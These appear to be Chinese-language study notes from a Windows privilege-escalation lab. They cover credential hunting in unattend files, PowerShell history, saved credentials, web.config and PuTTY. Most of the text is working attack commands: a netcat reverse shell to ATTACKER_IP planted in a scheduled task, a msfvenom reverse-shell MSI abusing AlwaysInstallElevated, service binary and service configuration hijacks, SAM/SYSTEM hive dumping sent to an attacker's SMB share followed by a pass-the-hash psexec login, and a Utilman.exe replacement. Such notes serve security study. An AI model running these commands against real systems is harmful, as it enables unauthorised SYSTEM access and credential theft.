Windows 权限提升
[!quote] 权限提升就是利用用户A的主机访问权限,利用目标系统中的漏洞来获取到用户B的访问权限
- Windows 服务或计划任务的配置错误
- 账户被赋予过多权限
- 缺少Windows安全补丁
Windows 用户
Windows系统主要存在两种类型的用户,根据访问级别,分为两类
Administrators | 这些用户拥有最高权限。他们可以更改任何系统配置参数并访问系统中的任何文件。 |
---|---|
Standard Users | 这些用户可以访问计算机,但只能执行有限的任务。通常,这些用户无法对系统进行永久性或必要的更改,并且只能访问其文件。 |
任何具有管理权限的用户都属于管理员组,而标准用户属于用户组
特殊的内置账户
SYSTEM / LocalSystem | 操作系统用于执行内部任务的帐户。它拥有主机上所有文件和资源的完全访问权限,甚至比管理员的权限更高。 |
---|---|
Local Service | 用于以“最低”权限运行 Windows 服务的默认帐户。它将使用网络上的匿名连接。 |
Network Service | 用于以“最低”权限运行 Windows 服务的默认帐户。它将使用计算机凭据通过网络进行身份验证。 |
常见的获取密码的位置
获取其他用户访问权限的最简单的方法就是从受到污染的计算机中收集凭证.
Unattended Windows Installation
[!quote] 在大量主机上安装 Windows 时,管理员可以使用 Windows 部署服务,该服务允许通过网络将单个操作系统映像部署到多台主机。这类安装被称为无人值守安装,因为它们不需要用户交互。此类安装需要使用管理员帐户执行初始设置,所以我们可以找到这些初始设置。
- C:\Unattend.xml
- C:\Windows\Panther\Unattend.xml
- C:\Windows\Panther\Unattend\Unattend.xml
- C:\Windows\system32\sysprep.inf
- C:\Windows\system32\sysprep\sysprep.xml
<Credentials>
<Username>Administrator</Username>
<Domain>thm.local</Domain>
<Password>MyPassword123</Password>
</Credentials>
Powershell History
每当用户使用powershell运行命令,命令都会被存储到一个文件中,用于记录之前的文件.
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
[!warning]
上述命令只可以在cmd中运行,因为powershell无法将%userprofile
识别为环境变量>如果想要使用Powershell,那么需要替换为
$Env:userprofile
已保存的Windows凭证
Windows 允许我们使用其他用户的凭据。此功能还提供了在系统上保存这些凭据的选项。以下命令将列出已保存的凭据:
cmdkey /list
runas /savecred /user:admin cmd.exe
IIS 配置
Internet 信息服务 (IIS) 是 Windows 安装中的默认 Web 服务器。IIS 上的网站配置存储在名为 web.config
的文件中,该文件可以存储数据库密码或已配置的身份验证机制。
- C:\inetpub\wwwroot\web.config
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
快速在我呢见中查找数据库连接字符串的命令
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
软件中寻找凭证: PuTTY
PuTTY 是 Windows 系统上常见的 SSH 客户端。用户无需每次都指定连接参数,而是可以存储会话,其中存储了 IP、用户和其他配置,以供日后使用。虽然 PuTTY 不允许用户存储 SSH 密码,但它可以存储包含明文身份验证凭据的代理配置。
#检索存储的代理凭证
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
注意:Simon Tatham 是 PuTTY 的创建者(他的名字是路径的一部分),而不是我们要检索密码的用户名。运行上述命令后,存储的代理用户名也应该可见。
其他快速利用方法
计划任务
可以使用schtasks
命令来列出计划任务,如果想要详细信息可以使用schtasks /query /tn [task_name] /fo list /v
如果当前用户可以修改和覆盖"待运行任务"的可执行文件,就可以控制任务创建用户的操作,实现权限提升,可以使用icacls
命令来检查可执行文件的权限。
C:\> icacls c:\tasks\schtask.bat
c:\tasks\schtask.bat NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(F)
从结果中可以看出, BUILTIN\Users 组对该任务的二进制文件拥有完全访问权限 (F)。
可以使用nc来获得一个反向shell
C:\> echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat
#立即运行计划任务
C:\> schtasks /run /tn vulntask
MSI提权
Windows 安装程序文件(也称为 .msi 文件)用于在系统上安装应用程序。它们通常以启动它的用户的权限级别运行。但是,这些文件可以配置为从任何用户帐户(甚至是非特权帐户)以更高的权限运行。这可能允许我们生成一个以管理员权限运行的恶意 MSI 文件。
C:> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
C:> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
如果这两个设置了AlwaysInstallElevated = 1
,即使是普通用户也会以SYSTEM级别权限来运行
利用这个漏洞,一定要同时设置好这两个参数才可以
msfvenom -p windows/x64/shell_reverse_tcp LHOST=[IP_Address] LPORT=[PORT] -f msi -o malicious.msi
运行安装程序来接收反向shell
C:> msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi
服务错误配置
Windows 服务
Windows 服务由服务控制管理器 (SCM) 管理。SCM 是一个进程,负责根据需要管理服务状态,检查任何给定服务的当前状态,并提供配置服务的方法。
Windows 计算机上的每个服务都会有一个关联的可执行文件,每当服务启动时,SCM 都会运行该可执行文件。需要注意的是,服务可执行文件会实现特殊功能以便与 SCM 通信,因此并非所有可执行文件都能成功作为服务启动。每个服务还指定了运行该服务的用户帐户。
可以使用sc qc
命令来检查服务配置,关联的可执行文件是通过 BINARY_PATH_NAME 参数指定的,而运行该服务的账户则显示在 SERVICE_START_NAME 参数上。
所有服务配置均存储在注册表中的 HKLM\SYSTEM\CurrentControlSet\Services\
下:
系统中每个服务都有一个子键。同样,我们可以在 ImagePath 值上看到关联的可执行文件,并在 ObjectName 值上看到用于启动服务的帐户。如果已为该服务配置了 DACL ,它将存储在名为 Security 的子键中。正如您现在所猜测的,默认情况下只有管理员可以修改此类注册表项。
服务可执行文件的不安全权限
C:\Users\thm-unpriv>icacls C:\PROGRA~2\SYSTEM~1\WService.exe
C:\PROGRA~2\SYSTEM~1\WService.exe Everyone:(I)(M)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
Successfully processed 1 files; Failed processing 0 files
这里可以看到一个Everyone
的修改权限(M
)
user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=[IP_Address] LPORT=[4445] -f exe-service -o rev-svc.exe
C:\> cd C:\PROGRA~2\SYSTEM~1\
C:\PROGRA~2\SYSTEM~1> move WService.exe WService.exe.bkp
1 file(s) moved.
C:\PROGRA~2\SYSTEM~1> move C:\Users\thm-unpriv\rev-svc.exe WService.exe
1 file(s) moved.
#这里要给文件一个所有人都可以启动的权限
C:\PROGRA~2\SYSTEM~1> icacls WService.exe /grant Everyone:F
Successfully processed 1 files.
#这里进行重启服务
C:\> sc stop windowsscheduler
C:\> sc start windowsscheduler
未加引号的服务路径
如果没有加上引号,那么服务在调用程序时,SCM会每一个空格前都作为exe的文件名来调用
这时候如果一般的目录下,非特权用户无法写入,就可以尝试到可以写入的目录按照空格前的字符串作为程序名,来让服务实现调用
C:\>icacls c:\MyPrograms
c:\MyPrograms NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
BUILTIN\Users:(I)(CI)(AD)
BUILTIN\Users:(I)(CI)(WD)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
Successfully processed 1 files; Failed processing 0 files
不安全的服务权限
如果服务的可执行文件 DACL 配置正确,并且服务的二进制路径引用正确,您仍然可能有机会利用该服务。如果服务 DACL (而非服务的可执行文件 DACL )允许您修改服务的配置,您将能够重新配置该服务。这将允许您指向所需的任何可执行文件,并使用您喜欢的任何帐户(包括 SYSTEM 帐户)运行它。
要从命令行检查服务 DACL ,可以使用 Sysinternals 套件中的 Accesschk 。
C:\tools\AccessChk> accesschk64.exe -qlc thmservice
[0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_PAUSE_CONTINUE
SERVICE_START
SERVICE_STOP
SERVICE_USER_DEFINED_CONTROL
READ_CONTROL
[4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users
SERVICE_ALL_ACCESS
这里我们可以看到 BUILTIN\Users 组具有 SERVICE_ALL_ACCESS 权限,这意味着任何用户都可以重新配置该服务。
这里更改服务关联的可执行文件和账户(这里要注意使用sc.exe的时候,等号后面的空格)
C:\> sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem
C:\> sc stop THMService
C:\> sc start THMService
危险特权
Windows 权限
使用whoami /priv
来查看用户分配的权限,这里有一个可利用权限的列表
只要列出来就是拥有这个权限,enabled代表当前这个进程启用了权限,disabled只是没有启用,不代表没有
C:\> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeBackup/SeRestore
SeBackup 和 SeRestore 权限允许用户读取和写入系统中的任意文件,而无需任何现有的 DACL 。此权限背后的想法是允许特定用户在无需完全管理权限的情况下执行系统备份。
备份SAM和SYSTEM哈希
C:\> reg save hklm\system C:\Users\THMBackup\system.hive
The operation completed successfully.
C:\> reg save hklm\sam C:\Users\THMBackup\sam.hive
The operation completed successfully.
在攻击者中启动一个网络共享SMB服务器
user@attackerpc$ mkdir share
user@attackerpc$ python3.9 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share
#然后在目标机器中把文件传输出来
#C:> copy C:\Users\THMBackup\sam.hive \ATTACKER_IP\public
#C:> copy C:\Users\THMBackup\system.hive \ATTACKER_IP\public\
#使用impacket检索密码哈希
user@attackerpc$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation
[_] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821
[_] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
#使用管理员的哈希来执行哈希传递攻击
user@attackerpc$ python3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94 administrator@MACHINE_IP Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation
[_] Requesting shares on 10.10.175.90.....
[_] Found writable share ADMIN$
[_] Uploading file nfhtabqO.exe
[_] Opening SVCManager on 10.10.175.90.....
[_] Creating service RoLE on 10.10.175.90.....
[_] Starting service RoLE.....
[!] Press help for extra shell commands Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami nt authority\system
SeTakeOwnership
SeTakeOwnership 权限允许用户获取系统上任何对象的所有权,包括文件和注册表项,这为攻击者提升权限提供了许多可能性,例如,我们可以搜索以 SYSTEM 权限运行的服务并获取该服务可执行文件的所有权。
[!warning] 成为文件的所有者并不一定意味着您拥有该文件的权限,但作为所有者,可以为自己分配所需的任何权限
#获取所有权
C:\> takeown /f C:\Windows\System32\Utilman.exe
SUCCESS: The file (or folder): "C:\Windows\System32\Utilman.exe" now owned by user "WINPRIVESC2\thmtakeownership".
#授予用户对exe文件的完全权限
C:\> icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F
processed file: Utilman.exe
Successfully processed 1 files; Failed processing 0 files
#替换文件
C:\Windows\System32\> copy cmd.exe utilman.exe
1 file(s) copied.
SeImpersonate / SeAssignPrimaryToken
这些权限允许进程模拟其他用户并代表其执行操作。模拟通常是指能够在另一个用户的安全上下文中生成进程或线程。
要使用此类帐户提升权限,需要两个操作
- 生成一个进程,以便用户可以连接并对其进行身份验证,从而进行模拟。
- 找到一种方法来强制特权用户连接并验证生成的恶意进程。
易受攻击的软件的利用
未修补的软件
使用这条命令来收集已经安装的软件的信息,然后可以到漏洞网站中去收集软件的现有漏洞
wmic product get name,version,vendor
工具
- WinPEAS
- 一个用于枚举目标系统以发现提权路径的脚本,针对全系统,注意使用对应系统的利用脚本
- PrivescCheck
- 一个Powershell脚本,用于在目标系统中搜索常见的权限提升漏洞
- WES-NG
- 一个Python脚本来检索可能导致漏洞的缺失补丁,
wes.py systeminfo.txt
- 需要在目标系统中使用
systemifo
,然后将结果复制下来
- 一个Python脚本来检索可能导致漏洞的缺失补丁,
- Metasploit
- 使用
multi/recon/local_exploit_suggester
模块来列出可能存在影响的漏洞
- 使用